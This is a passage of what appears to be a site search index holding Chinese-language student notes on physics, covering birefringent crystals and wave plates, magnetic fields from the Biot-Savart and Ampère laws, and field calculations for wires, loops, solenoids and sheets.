\uff0c\\(n_o &lt; n_e\\)\uff0c\\(v_o &gt; v_e\\)\u3002</p> \u8d1f\u6676\u4f53 <p>\u5e38\u89c1\u7684\u8d1f\u6676\u4f53\u6709\\(CaCO_3\\)</p> \u6b63\u6676\u4f53 <p>\u5e38\u89c1\u7684\u6b63\u6676\u4f53\u6709\u4e8c\u6c27\u5316\u7845\\(SiO_2\\)</p> <p> \u5c06\u5149\u8f74\u548c\u5149\u7684\u4f20\u64ad\u65b9\u5411\u6784\u6210\u7684\u5e73\u9762\u79f0\u4e3a\u4e3b\u5e73\u9762(Principal Plane)\u3002</p> <ul> <li>o\u5149\uff1a\u632f\u52a8\u65b9\u5411\u5782\u76f4\u4e8e\u4e3b\u5e73\u9762\uff1b</li> <li>e\u5149\uff1a\u632f\u52a8\u65b9\u5411\u5e73\u884c\u4e8e\u4e3b\u5e73\u9762\uff1b</li> </ul> <p>\u5149\u8f74\u4e0e\u5feb\u6162\u8f74\u4e4b\u95f4\u7684\u5173\u7cfb</p> <p>\u8d1f\u6676\u4f53\u800c\u8a00,e\u5149\u5728\u5149\u8f74\u65b9\u5411\u4f20\u64ad\u901f\u5ea6\u6700\u6162\uff0c\u5176\u5b83\u5730\u65b9\u6bd4o\u5149\u5feb\uff0c\u5149\u8f74\u4e3a\u6162\u8f74\uff0c\u4e0e\u5149\u8f74\u5782\u76f4\u7684\uff0c\u4f20\u64ad\u901f\u5ea6\u6700\u5feb\u7684\u65b9\u5411\u4e3a\u5feb\u8f74\uff1b</p> <p>\u6b63\u6676\u4f53\u800c\u8a00,e\u5149\u5728\u5149\u8f74\u65b9\u5411\u4f20\u64ad\u901f\u5ea6\u6700\u5feb\uff0c\u5176\u5b83\u5730\u65b9\u6bd4o\u5149\u6162\uff0c\u5149\u8f74\u4e3a\u5feb\u8f74\uff0c\u4e0e\u5149\u8f74\u5782\u76f4\u7684\uff0c\u4f20\u64ad\u901f\u5ea6\u6700\u6162\u7684\u65b9\u5411\u4e3a\u6162\u8f74\uff1b</p> <p>\u56fe\u4e2d\u753b\u865a\u7ebf\u7684\u4e3a\u5149\u8f74\uff0c\u5f53\u4e00\u675f\u5149\u7167\u5411\u8fd9\u6837\u7684\u7ed3\u6784\u65f6\uff0c\u53ef\u4ee5\u5c06\u5176\u632f\u52a8\u65b9\u5411\u5206\u89e3\u4e3ao\u5149\u548ce\u5149\u7684\u632f\u52a8\u65b9\u5411\uff0c\u7531\u4e8e\u5149\u8f74\u65b9\u5411\u4e0ao\u5149\u548ce\u5149\u7684\u901f\u5ea6\u76f8\u540c\uff0c\u6240\u4ee5o\u5149\u548ce\u5149\u5728\u5149\u8f74\u65b9\u5411\u4e0a\u4f20\u64ad\u7684\u8ddd\u79bb\u76f8\u540c\uff0c\u6240\u4ee5o\u5149\u548ce\u5149\u5728\u5149\u8f74\u65b9\u5411\u4e0a\u7684\u76f8\u4f4d\u5dee\u4e3a0\uff0c\u4f46\u662f\u5728\u4f20\u64ad\u65b9\u5411\u4e0a\uff0ce\u5149\u7684\u901f\u5ea6\u4e3a\\(v_e\\)\uff0co\u5149\u7684\u901f\u5ea6\u4e3a\\(v_o\\)\uff0c\u6240\u4ee5e\u5149\u548co\u5149\u7684\u76f8\u4f4d\u5dee\u4e3a</p> \\[     \\Delta \\phi = \\dfrac{2\\pi}{\\lambda} (n_e - n_o) d \\] <p>\u5176\u4e2d\\(d\\)\u662f\u7247\u7684\u539a\u5ea6</p> <p>QWP\u548cFWP</p> <ul> <li>QWP\uff1aQuarter Wave Plate\uff0c\u56db\u5206\u4e4b\u4e00\u6ce2\u7247\uff0c\\(\\Delta \\phi = \\dfrac{\\pi}{2}\\)</li> </ul> \\[     (n_o-n_e)d = \\pm \\dfrac{\\lambda}{4} \\] <ul> <li>HWP\uff1aHalf Wave Plate\uff0c\u534a\u6ce2\u7247\uff0c\\(\\Delta \\phi = \\pi\\)</li> </ul> \\[      (n_o-n_e)d = \\pm \\dfrac{\\lambda}{2} \\] <ul> <li>FWP\uff1aFull Wave Plate\uff0c\u5168\u6ce2\u7247\uff0c\\(\\Delta \\phi = 2\\pi\\)</li> </ul> \\[     (n_o-n_e)d = \\pm \\lambda \\] <p>\u5f53\u5149\u901a\u8fc7QWP\u65f6,o\u5149\u548ce\u5149\u7684\u76f8\u4f4d\u5dee\u4e3a\\(\\dfrac{\\pi}{2}\\);</p> <ul> <li> <p>\u5982\u679c\u662f\u7ebf\u504f\u632f\u5149,\u5219\u4e00\u5f00\u59cb\u5c06\u5176\u5206\u89e3\u4e3ao\u5149\u548ce\u5149\u7684\u632f\u52a8\u65b9\u5411,\u539f\u672c\u7684\u76f8\u4f4d\u5dee\u4e3a\\(k\\pi\\),\u901a\u8fc7QWP\u540e,\u76f8\u4f4d\u5dee\u4e3a\\(k\\pi+\\dfrac{\\pi}{2}\\),\u6240\u4ee5\u5408\u6210\u540e\u51fa\u5c04\u7684\u5149\u4e3a\u5706\u504f\u632f\u5149\u3002</p> </li> <li> <p>\u5982\u679c\u662f\u5706\u504f\u632f\u5149,\u5219\u901a\u8fc7QWP\u540e,\u76f8\u4f4d\u5dee\u4e3a\\(k\\pi\\)\u3002\u6240\u4ee5\u5408\u6210\u540e\u51fa\u5c04\u7684\u5149\u4e3a\u7ebf\u504f\u632f\u5149\u3002</p> </li> </ul> <p>\u4f8b\u5b50</p> <p> </p> <p>\u4e00\u675f\u81ea\u7136\u5149\u901a\u8fc745\u5ea6\u504f\u632f\u7247\u540e\uff0c\u51fa\u5c04\u7684\u5149\u4e3a\u7ebf\u504f\u632f\u5149\uff0c\u518d\u901a\u8fc7QWP\u540e\uff0c\u51fa\u5c04\u5149\u6ee1\u8db3</p> \\[ E_x =E_0 \\sin (kz-\\omega t) \\] \\[ E_y =-E_0 \\cos (kz-\\omega t) \\] <p>\u5373\u6162\u8f74\u4e0d\u53d8\uff0c\u5feb\u8f74\u53d8\u4e3a\\(\\sin(kz-\\omega t-\\dfrac{\\pi}{2})\\)\uff0c\u6240\u4ee5\u5408\u6210\u540e\u51fa\u5c04\u7684\u5149\u4e3a\u5706\u504f\u632f\u5149\u3002\u4e3aRCP,\u6ce8\u610f\uff0c\u5feb\u8f74\u9886\u5148\uff0c\u6240\u4ee5\u5b83\u4f1a\u5148\u5230\u8fbe\u6700\u5927\uff0c\u6240\u4ee5\u662f\u51cf\u53bb\uff0c\u5728\u56fe\u4e0a\u770b\u6765\u4e5f\u662f\u5982\u6b64,\u4ece\u7f1d\u91cc\u51fa\u6765\u540e\uff0c\u5148\u9047\u5230\u4e86\u5feb\u8f74\u7684\u6700\u5927(\\(-y\\)\u65b9\u5411\u4e0a)\uff0c\u7136\u540e\u624d\u662f\u6162\u8f74\u7684\u6700\u5927\u3002</p> <p> </p> <p>\u4f8b\u5b50</p> <p> </p> <p>\u5bf9\u4e8e3A,\u7b2c\u4e00\u6b21\u65e0\u6cd5\u5c06\u632f\u52a8\u65b9\u5411\u5206\u89e3\u4e3ao\u5149\u548ce\u5149\u7684\u632f\u52a8\u65b9\u5411\uff0c\u6240\u4ee5\u51fa\u5c04\u7684\u5149\u4ecd\u4e3a\u539f\u5149\uff0c\u7b2c\u4e8c\u6b21\u5b8c\u5168\u88ab\u963b\u6321\uff0c\u6240\u4ee5\u51fa\u5c04\u7684\u5149\u4e3a0\uff0c\\(I_1=0\\)</p> <p>\u5bf9\u4e8e3B,\u7b2c\u4e00\u6b21\u5c06\u632f\u52a8\u65b9\u5411\u5206\u89e3\u4e3ao\u5149\u548ce\u5149\u7684\u632f\u52a8\u65b9\u5411\uff0c\u7531\u4e8e\u662f\\(1/4\\)\u6ce2\u7247\uff0c\u6240\u4ee5\u51fa\u5c04\u7684\u5149\u4e3a\u5706\u504f\u632f\u5149,</p> \\[     E_s =E_f  = \\dfrac{E_0}{\\sqrt{2}} \\] <p>\u7b2c\u4e8c\u6b21\u76f8\u5f53\u4e8e\u4e24\u675f\u7ebf\u504f\u632f\u5149\u7ecf\u8fc7,\u7531\u9a6c\u9686\u5b9a\u5f8b\u53ef\u77e5</p> \\[     E'_s = E'_f =  \\dfrac{E_0}{\\sqrt{2}} \\cos 45^\\circ = \\dfrac{E_0}{2} \\] <p>\u7531\u4e8e\u5feb\u6162\u5149\u72ec\u7acb\u8870\u51cf\uff0c\u6240\u4ee5\u6700\u540e\u7684\u5149\u5f3a\u4e3a</p> \\[     I_2 = I_s + I_f = \\dfrac{E_0^2}{4} + \\dfrac{E_0^2}{4} = \\dfrac{I_0}{2} \\] <p>Danger</p> <p>\u867d\u8bf4e\u5149\u5e76\u4e0d\u6ee1\u8db3\u6298\u5c04\u5b9a\u5f8b\uff0c\u4f46\u662f\u6709\u4e00\u79cd\u4f8b\u5916\uff0c\u5f53\u5149\u8f74\u4e0e\u5165\u5c04\u9762\u5782\u76f4\u65f6(\u4e3b\u5e73\u9762\u4e0e\u5165\u5c04\u9762\u5782\u76f4,\u5149\u8f74\u548c\u6cd5\u7ebf\u5e73\u884c)\uff0ce\u5149\u6ee1\u8db3\u6298\u5c04\u5b9a\u5f8b,\u6709</p> \\[     n_e \\sin \\theta_e = n_1 \\sin \\theta_1 \\] <p>\u548c</p> \\[     n_o \\sin \\theta_o  = n_1 \\sin \\theta_1 \\] <p> \u793a\u610f\u56fe </p> <p>\u4e0d\u8981\u628a\u6cd5\u7ebf\u548c\u5149\u8f74\u641e\u6df7\u4e86(-_-)</p>"},{"location":"NOTE/Physics/magnetism/","title":"\u78c1\u5b66\u90e8\u5206","text":"<p> \u7ea6 2862 \u4e2a\u5b57  \u9884\u8ba1\u9605\u8bfb\u65f6\u95f4 10 \u5206\u949f</p> <p>Table of contents</p>"},{"location":"NOTE/Physics/magnetism/#amperes-law","title":"Ampere's Law","text":"<p>\u5bf9\u4e8e\u7535\u5b66\uff0c\u6211\u4eec\u6709\u5e93\u4ed1\u5b9a\u5f8b</p> \\[     d \\boldsymbol{F} = \\frac{1}{4 \\pi \\epsilon_0} \\frac{dq_1 dq_2}{r^2} \\] <p>Ampere's Law</p> \\[ dF_{12} = \\frac{\\mu_0}{4 \\pi} \\frac{i_2 ds_2 \\times (i_1ds_1 \\times \\hat{r_{12}})}{r_{12}^2} \\] <p>\u5176\u4e2d\uff0c\\(\\mu_0\\) \u662f\u771f\u7a7a\u78c1\u5bfc\u7387\uff0c\\(i_1, i_2\\) \u662f\u7535\u6d41\uff0c\\(ds_1, ds_2\\) \u662f\u7535\u6d41\u5143\u957f\u5ea6\uff0c\\(r_{12}\\) \u662f\u7535\u6d41\u5143\u4e4b\u95f4\u7684\u8ddd\u79bb\u3002</p> <p>Newton's Third Law</p> <p>Case 1: \u4e24\u7535\u6d41\u5143\u5e73\u884c  </p> \\[     F_{12} = \\frac{\\mu_0}{4 \\pi} \\frac{i_2 ds_2 \\times (i_1ds_1 \\times \\hat{r_{12}})}{r_{12}^2} \\] \\[     F_{21} = \\frac{\\mu_0}{4 \\pi} \\frac{i_1 ds_1 \\times (i_2ds_2 \\times \\hat{r_{21}})}{r_{21}^2} \\] \\[     F_{12} = -F_{21} \\] <p>Case 2: \u4e24\u7535\u6d41\u5143\u5782\u76f4</p> \\[     F_{12} = 0 \\] \\[     F_{21} = \\frac{\\mu_0}{4 \\pi} \\frac{i_1 ds_1 \\times (i_2ds_2 \\times r_{21})}{r_{21}^2} \\neq 0 \\] Why? <p>\u8fd9\u53ea\u662f\u4e00\u5c0f\u6bb5\u7684\u7535\u6d41\u5143\uff0c\u5f53\u8003\u8651\u4e00\u6574\u6bb5\u7535\u6d41\u65f6\uff0c\u5f97\u5230\u7684\u7ed3\u679c\u5e76\u4e0d\u8fdd\u80cc\u725b\u987f\u7b2c\u4e09\u5b9a\u5f8b\uff0c\u5f53\u5e74\u5b89\u57f9\u5c31\u662f\u5229\u7528\u76f8\u4e92\u5782\u76f4\u65f6\u7684\u8fd9\u4e00\u7279\u6027\uff0c\u5de7\u5999\u7684\u8bbe\u8ba1\u4e86\u5b9e\u9a8c\u6765\u8bc1\u660e\u4e86\u5b89\u57f9\u5b9a\u5f8b\u3002</p>"},{"location":"NOTE/Physics/magnetism/#biot-savart-law","title":"Biot-Savart Law","text":"<p>\u7ee7\u7eed\u6839\u636e\u7535\u573a\u4e2d\u7684\u601d\u60f3\uff0c\u5f15\u5165\u8bd5\u63a2\u7535\u6d41\u6e90\u5e76\u5b9a\u4e49 \u78c1\u611f\u5e94\u5f3a\u5ea6</p> <p>\u5982\u679c\u56fa\u5b9a\u4e00\u4e2a\u7535\u6d41\u5143\uff0c\u79ef\u5206\u53e6\u4e00\u7535\u6d41\u5143\uff0c\u6211\u4eec\u6709</p> \\[      d\\boldsymbol{F}_2 = i_2 d\\boldsymbol{s}_2 \\times \\frac{\\mu_0}{4\\pi} \\int_{L_1} \\frac{i_1 d\\boldsymbol{s}_1 \\times \\hat{r}_{12}}{r_{12}^2}  \\] <p>\u5b9a\u4e49\uff1a</p> \\[      \\boldsymbol{B}_1 = \\frac{\\mu_0}{4\\pi} \\int_{L_1} \\frac{i_1 d\\boldsymbol{s}_1 \\times \\hat{r}_{12}}{r_{12}^2}  \\] <p>\u56e0\u6b64\uff1a</p> \\[      d\\boldsymbol{F}_2 = i_2 d\\boldsymbol{s}_2 \\times \\boldsymbol{B}_1  \\] <p>\u78c1\u611f\u5e94\u5f3a\u5ea6</p> \\[     \\boldsymbol{B} = \\frac{\\mu_0}{4\\pi} \\int_{L} \\frac{i d\\boldsymbol{s} \\times \\hat{r}}{r^2} \\] <p>\u5355\u4f4d\u4e3a \\(T\\)\uff0c\u7279\u65af\u62c9\u3002</p> \u4e3a\u4ec0\u4e48\u4e0d\u662f\u78c1\u573a\u5f3a\u5ea6\uff1f <p>\u5982\u679c\u8981\u5b8c\u5168\u8ddf\u7535\u573a\u5bf9\u5e94\uff0c\u5e94\u8be5\u4f7f\u7528\u78c1\u573a\u5f3a\u5ea6\uff0c\u4f46\u662f\u5374\u53eb\u78c1\u611f\u5e94\u5f3a\u5ea6\uff0c\u8fd9\u662f\u56e0\u4e3a\u5927\u5bb6\u90fd\u8fd9\u4e48\u53eb</p>"},{"location":"NOTE/Physics/magnetism/#_2","title":"\u957f\u76f4\u5bfc\u7ebf\u5468\u56f4\u7684\u78c1\u573a\u573a","text":"\\[\\begin{align*}     d\\boldsymbol{B} &amp;= \\frac{\\mu_0}{4\\pi} \\frac{i d\\boldsymbol{s} \\times \\hat{r}}{r^2} \\\\     d B &amp;= \\frac{\\mu_0}{4\\pi} \\frac{i ds \\sin \\theta}{r^2}\\\\     B &amp;= \\frac{\\mu_0}{4\\pi} \\int_{A_1}^{A_2} \\frac{i ds \\sin \\theta}{r^2}\\\\     r &amp;= \\frac{r_0}{\\sin \\theta}\\\\     s &amp;= r_0 \\cot (\\pi - \\theta) = -r_0 \\cot \\theta\\\\     ds &amp;= r_0 \\csc^2 \\theta d\\theta= r_0 \\frac{d \\theta}{\\sin^2 \\theta} \\\\     B &amp;= \\frac{\\mu_0 i}{4\\pi r_0} \\int_{\\theta_1}^{\\theta_2} \\sin \\theta d\\theta\\\\       &amp;= \\frac{\\mu_0 i}{4\\pi r_0} (\\cos \\theta_1 - \\cos \\theta_2) \\end{align*}\\] <p>\u5982\u679c\u662f\u65e0\u9650\u957f\uff0c\u5219</p> \\[     B = \\frac{\\mu_0 i}{2\\pi r_0} \\] <p>\u4e5f\u5c31\u662f\u8bf4\uff0c\u65e0\u9650\u957f\u76f4\u5bfc\u7ebf\u5468\u56f4\u7684\u78c1\u611f\u5e94\u5f3a\u5ea6\u4e0e\u8ddd\u79bb\u6210\u53cd\u6bd4\u3002</p> <p>Note</p> <p>\u56de\u5fc6\u7535\u573a\u4e2d\u7684\u65e0\u9650\u957f\u76f4\u5bfc\u7ebf\uff0c\u5176\u7535\u573a\u5f3a\u5ea6\u4e0e\u8ddd\u79bb\u6210\u53cd\u6bd4\u3002</p> \\[     E = \\frac{\\lambda}{2\\pi \\epsilon_0 r} \\]"},{"location":"NOTE/Physics/magnetism/#_3","title":"\u5706\u7535\u6d41\u8f74\u7ebf\u4e0a\u7684\u78c1\u573a","text":"<p>\u5176\u4e2d\u7531\u4e8e\u5bf9\u79f0\u6027\u5728\u4e0e\u5706\u73af\u5e73\u884c\u7684\u65b9\u5411\u4e0a\uff0c\u78c1\u611f\u5e94\u5f3a\u5ea6\u4e3a\u96f6\u3002</p> \\[     dB = \\frac{\\mu_0}{4\\pi} \\frac{i ds \\sin \\theta}{r^2} = \\frac{\\mu_0}{4\\pi} \\frac{i ds}{r^2}(\\theta = \\frac{\\pi}{2}) \\] \\[     dB_x= dB \\cos \\alpha= \\frac{\\mu_0}{4 \\pi} \\frac{i ds}{r^2} \\cos \\alpha \\] \\[     r=\\frac{r_0}{\\sin \\alpha} \\] \\[     B= \\frac{\\mu_0 i}{4\\pi r_0^2} \\int_{s} \\sin^2 \\alpha \\cos \\alpha ds =\\frac{\\mu_0 i}{4\\pi r_0} \\sin^2 \\alpha \\cos \\alpha 2 \\pi R \\] \\[     \\sin \\alpha = \\frac{r_0}{\\sqrt{r_0^2 + R^2}} \\enspace \\cos \\alpha = \\frac{R}{\\sqrt{r_0^2 + R^2}} \\] \\[     B = \\frac{\\mu_0}{2} \\frac{iR^2}{(r_0^2 + R^2)^{3/2}} \\] <p>Note</p> <p>\u5f53 \\(r_0 \\to 0\\) \u65f6\uff0c\\(B \\to \\frac{\\mu_0 i}{2R}\\)</p> <p>\u5f53 \\(r_0 \\to \\infty\\) \u65f6\uff0c\\(B \\to \\frac{\\mu_0 i}{2r_0^3}R^2\\) \u4e0e \\(r_0^3\\) \u6210\u53cd\u6bd4\u3002\u5728\u78c1\u573a\u4e2d\uff0c\u7535\u5076\u6781\u77e9\u5728\u65e0\u7a77\u8fdc\u5904\u4ea7\u751f\u7684\u7535\u573a\u4e5f\u4e0e \\(r^3\\) \u6210\u53cd\u6bd4\u3002</p> <p>\u5b9a\u4e49\u78c1\u5076\u6781\u77e9</p> \\[     \\boldsymbol{m} = i \\pi R^2 \\] <p>\u5219</p> \\[     B =  \\frac{\\mu_0 i}{2r_0^3}R^2 = \\frac{\\mu_0 m}{2 \\pi r_0^3} \\] <p>\u5982\u679c\u6709N\u531d\u7ebf\u5708\uff0c\u5219</p> \\[     B =  \\frac{\\mu_0 N i}{2r_0^3}R^2 = \\frac{\\mu_0 N m}{2 \\pi r_0^3} \\] <p>\u6216\u8005\u4ee4 \\(m' = N i \\pi R^2\\),</p> \\[     B = \\frac{\\mu_0 m'}{2 \\pi r_0^3} \\]"},{"location":"NOTE/Physics/magnetism/#_4","title":"\u7535\u6d41\u5e73\u9762\u4ea7\u751f\u7684\u78c1\u573a","text":"<p>\u7531\u4e8e\u5bf9\u79f0\u6027\uff0c\u5728\u53ea\u4f1a\u5728\\(x\\)\u65b9\u5411\u4e0a\u4ea7\u751f\u78c1\u573a</p> \\[  dB = \\frac{\\mu_0 di}{2\\pi d} = \\frac{\\mu_0 \\frac{i}{a} dx}{2\\pi d}  \\] \\[  dB_x = dB \\cdot \\cos \\theta  \\] \\[  d = \\frac{R}{\\cos \\theta}  \\] \\[  B_x = \\int dB_x = \\int \\frac{\\mu_0 i \\cos^2 \\theta dx}{2\\pi Ra} = \\frac{\\mu_0 i}{2\\pi aR} \\int \\cos^2 \\theta dx  \\] \\[  x = R \\tan \\theta, \\quad dx = \\frac{R \\, d\\theta}{\\cos^2 \\theta}  \\] \\[  B_x = \\frac{\\mu_0 i}{2\\pi aR} \\int \\cos^2 \\theta dx = \\frac{\\mu_0 i}{2\\pi a} \\int_{-\\alpha}^{\\alpha} d\\theta = \\frac{\\mu_0 i}{\\pi a} \\alpha = \\frac{\\mu_0 i}{\\pi a} \\tan^{-1} \\frac{a}{2R}  \\] <p>Note</p> <p>\u5f53 $a \\to 0,\\alpha \\to \\tan\\alpha =  \\dfrac{a}{2R} $ \u65f6\uff0c\\(B_x \\to \\dfrac{\\mu_0 i}{2\\pi R}\\)</p> <p>\u5f53 \\(a \\to \\infty, \\alpha \\to \\dfrac{\\pi}{2}\\) \u65f6, \\(B_x \\to \\dfrac{\\mu_0 i}{2 a}=\\dfrac{1}{2}\\mu_0 n i_0\\),n\u4e3a\u5355\u4f4d\u957f\u5ea6\u7535\u6d41\u6570\u76eei_0\u4e3a\u5355\u4f4d\u7535\u6d41</p>"},{"location":"NOTE/Physics/magnetism/#_5","title":"\u5355\u5c42\u901a\u7535\u87ba\u65cb\u7ba1\u4ea7\u751f\u7684\u78c1\u573a","text":"<p>\u5728\u901a\u7535\u87ba\u65cb\u7ba1\u5185\u90e8\uff0c\u4f1a\u4ea7\u751f\u5300\u5f3a\u78c1\u573a</p> <p>\u8bbe\\(x\\)\u4e3a\u70b9P\u636e\u4e2d\u5fc3\u8f74\u7ebf\u7684\u6c34\u5e73\u8ddd\u79bb\uff1b\u87ba\u7ebf\u7ba1\u957f\u5ea6\u4e3a\\(L\\),\u5355\u4f4d\u957f\u5ea6\u531d\u6570\u4e3a\\(n\\)\uff0c\u6bcf\u531d\u7535\u6d41\u4e3a\\(i\\)\u3002</p> <p>\u6839\u636e\u78c1\u5076\u6781\u77e9\u4ea7\u751f\u7684\u78c1\u573a\u516c\u5f0f</p> \\[     dB = \\dfrac{\\mu_0 m}{2\\pi r^3}=\\dfrac{\\mu_0 n i dl \\pi R^2}{2\\pi (\\sqrt{R^2+(x-l)^2})^3} \\] \\[    r=\\dfrac{R}{\\sin \\beta} \\quad \\dfrac{x-l}{R} =\\cot \\beta \\quad dl = \\dfrac{R d\\beta}{\\sin^2 \\beta} \\] \\[     B =\\frac{\\mu_0}{2} n i \\int_{\\beta_1}^{\\beta_2} \\sin \\beta d\\beta = \\frac{\\mu_0}{2} n i (\\cos \\beta_1 - \\cos \\beta_2)   \\] <p>Note</p> <p>\\(L \\to \\infty\\) \u65f6\uff0c\\(B = \\mu_0 n i\\)</p>"},{"location":"NOTE/Physics/magnetism/#_6","title":"\u591a\u5c42\u901a\u7535\u87ba\u7ebf\u7ba1\u4ea7\u751f\u7684\u78c1\u573a","text":"<p>\u4ece\u4e0b\u5f80\u4e0a\uff0c\u9010\u5c42\u79ef\u5206</p> \\[     dB=\\frac{\\mu_0}{2} n i (\\cos \\beta_1 - \\cos \\beta_2)   \\] <p>\\(ni\\) \u4e3a\u6bcf\u4e00\u5c42\u5355\u4f4d\u957f\u5ea6\u7684\u7535\u6d41\uff0c</p> \\[     ni = \\frac{N'i}{L} =\\frac{jLdr}{L}=jdr=\\frac{Ni}{L(R_2-R_1)}dr \\] <p>\u5176\u4e2d\\(N'\\)\u4e3a\u6bcf\u4e00\u5c42\u7684\u531d\u6570\uff0c\\(j\\)\u7535\u6d41\u5bc6\u5ea6\uff0c\\(R_1,R_2\\)\u4e3a\u5185\u5916\u534a\u5f84\uff0c\\(N\\)\u4e3a\u603b\u531d\u6570\u3002</p> \\[     \\cos \\beta_1 - \\cos \\beta_2 =2\\cos \\beta_1 =\\dfrac{2l}{\\sqrt{l^2+r^2}} \\] \\[     dB=\\frac{\\mu_0}{2} jdr \\frac{2l}{\\sqrt{l^2+r^2}} \\quad B =\\mu_0 j l \\int_{R_1}^{R_2} \\frac{dr}{\\sqrt{r^2+l^2}} \\] \\[     B = \\mu_0 j l \\ln \\dfrac{R_2+\\sqrt{R_2^2+l^2}}{R_1+\\sqrt{R_1^2+l^2}} \\] \u8be6\u7ec6\u8fc7\u7a0b <p>\u6bc1\u4e86\u554a\uff0csecx\u7684\u539f\u51fd\u6570\u90fd\u8bb0\u4e0d\u4f4f</p> <p> </p>"},{"location":"NOTE/Physics/magnetism/#gauss","title":"\u78c1\u573a\u7684Gauss\u5b9a\u5f8b\u548c\u56de\u8def\u5b9a\u5f8b","text":"<p>\u78c1\u573a\u4e2d\u7684Guass\u5b9a\u5f8b</p> \\[     \\oiint \\boldsymbol{B} \\cdot d \\boldsymbol{A} = 0 \\] <p>Proof</p> <p> </p> <p>\u8003\u8651\u5728\u8f74\u7ebf\u5904\u7684\\(ids\\)\u4ea7\u751f\u7684\u78c1\u573a\uff0c\u5bf9\u4e8e\u7ea2\u8272\u7684\u95ed\u5408\u66f2\u9762\uff0c\u53ef\u4ee5\u8003\u8651\u4e00\u4e2a\u7a7f\u8fc7\u53bb\u7684\u5c0f\u5706\u73af\uff1b</p> \\[ dA_1^* = |dA_1 \\cos \\theta_1| = dA_1 |\\cos \\theta_1|, \\quad \\theta_1 &gt; \\frac{\\pi}{2}, \\quad \\cos \\theta_1 &lt; 0 \\] \\[ dA_2^* = |dA_2 \\cos \\theta_2| = dA_2 |\\cos \\theta_2|, \\quad \\theta_2 &lt; \\frac{\\pi}{2}, \\quad \\cos \\theta_2 &gt; 0 \\] \\[ \\therefore d\\Phi_{B_1} = -d\\Phi_{B_2} \\] \\[ d\\Phi_{B_1} + d\\Phi_{B_2} = 0 \\] \\[ \\oiint \\vec{B} \\cdot d\\vec{A} = 0 \\] <p>\u78c1\u573a\u4e2d\u7684\u56de\u8def\u5b9a\u5f8b</p> \\[     \\oint \\boldsymbol{B} \\cdot d\\boldsymbol{l} =\\mu_0 \\sum_{in \\ loop} i \\] <p>\u4ee5\u53f3\u624b\u5b9a\u5219\u5224\u65ad\u6b63\u8d1f\uff0c\u5373\u6309\u7167\u79ef\u5206\u65b9\u5411\u4f7f\u7528\u53f3\u624b\u5b9a\u5219\uff0c\u5927\u62c7\u6307\u6307\u5411\u7684\u65b9\u5411\u5c31\u662f\u7535\u6d41\u7684\u6b63\u65b9\u5411,\u4e0d\u9700\u8981\u5bf9\u7a7f\u8fc7\u53bb\u7684\u7535\u6d41\u8fdb\u884c\u6295\u5f71\uff0c\u6709\u591a\u5c11\u7a7f\u8fc7\u5c31\u76f4\u63a5\u7b97\u591a\u5c11</p> <p>\u6709\u4e86\u56de\u8def\u5b9a\u5f8b\uff0c\u6c42\u78c1\u573a\u5c31\u65b9\u4fbf\u5f97\u591a\u4e86</p>"},{"location":"NOTE/Physics/magnetism/#_7","title":"\u5e26\u7535\u65e0\u7a77\u957f\u5706\u67f1\u5468\u56f4\u7684\u78c1\u573a","text":"<p>\u56e0\u4e3a\u78c1\u573a\u65b9\u5411\u4e0e\u79ef\u5206\u65b9\u5411\u5e73\u884c\uff1b\u534a\u5f84\u5982\u679c\u662f\u5927\u4e8e\u5706\u67f1\u7684\u534a\u5f84\uff0c\u5219</p> \\[     B=\\dfrac{\\mu_0 i }{2 \\pi r} \\] <p>\u5982\u679c\u79ef\u5206\u533a\u57df\u5728\u91cc\u9762\uff0c\u5219</p> \\[     \\oint \\boldsymbol{B} \\cdot d\\boldsymbol{l} = \\mu_0 I \\dfrac{r^2}{R^2} \\enspace  B 2 \\pi r = \\mu_0 i \\dfrac{r^2}{R^2} \\] \\[     B=\\dfrac{\\mu_0 i }{2 \\pi R} \\cdot \\dfrac{r}{R} \\] <p>Key-point</p> <p>\u8fd9\u8bf4\u660e\u78c1\u573a\u5728R\u5904\u8fbe\u5230\u6700\u5927</p> <p> </p>"},{"location":"NOTE/Physics/magnetism/#_8","title":"\u65e0\u7a77\u5927\u7684\u677f","text":"<p>\u56e0\u4e3a\u6c34\u5e73\u65b9\u5411\u4e0a\u7531\u4e8e\u5bf9\u79f0\u6027\uff0c\u78c1\u573a\u4e3a\u96f6\uff1b</p> <p>\u5728\u7535\u8def\u5206\u5e03\u7684\u4e24\u4fa7\uff0c\u78c1\u573a\u65b9\u5411\u76f8\u53cd\uff0c\u5927\u5c0f\u76f8\u7b49\uff1b</p> <p>\u8bbe\u6b63\u65b9\u5f62\u7684\u8fb9\u957f\u4e3a\\(w\\)\uff0c\u5219</p> \\[ \\oint \\boldsymbol{B} \\cdot d\\boldsymbol{l} = Bw + 0 + Bw + 0 = 2Bw = \\mu_0 nwi \\] \\[     B=\\frac{1}{2} \\mu_0 n i \\] <p>\u901a\u7535\u65e0\u7a77\u957f\u87ba\u7ebf\u7ba1?\u4e3a\u4ec0\u4e48\u4e0d\u662f\u4e24\u5757\u677f</p> <p> </p> <p>\u5982\u679c\u628a\u87ba\u7ebf\u7ba1\u4e2d\u95f4\u5207\u4e00\u5200\uff0c\u60c5\u51b5\u5c31\u4e0e\u4e24\u5757\u677f\u5f88\u76f8\u4f3c\u4e86\uff0c\u5bf9\u4e8e\u4e24\u4fa7\uff0c\u7531\u4e8e\u65b9\u5411\u4e0d\u540c\u53ef\u4ee5\u6d88\u53bb\uff1b \u5728\u4e2d\u95f4\uff0c\u7531\u4e8e\u5bf9\u79f0\u6027\uff0c\u78c1\u573a\u4e3a\u4e00\u5757\u677f\u7684\u4e24\u500d\uff0c\u6240\u4ee5\u78c1\u573a\u4e3a</p> \\[     B=\\mu_0 n i \\] <p>\u8fd9\u6b63\u662f\u6211\u4eec\u4e4b\u524d\u63a8\u5bfc\u7684\u7ed3\u679c</p>"},{"location":"NOTE/Physics/magnetism/#_9","title":"\u87ba\u7ed5\u73af","text":"\\[    \\oint \\boldsymbol{B} \\cdot d\\boldsymbol{l} = B \\cdot 2\\pi r = \\mu_0 Ni \\] \\[     B=\\frac{1}{2} \\mu_0 n i \\enspace n = \\frac{N}{2\\pi r} \\]"},{"location":"NOTE/Physics/magnetism/#_10","title":"\u7535\u6d41\u5728\u78c1\u573a\u4e2d\u53d7\u5230\u7684\u529b\u4e0e\u529b\u77e9","text":"\\[     d\\boldsymbol{F} = i d\\boldsymbol{l} \\times \\boldsymbol{B} \\] <p>\u7528\u53f3\u624b\u5b9a\u5219\u6765\u5224\u65ad\u65b9\u5411</p> <p>Warning</p> 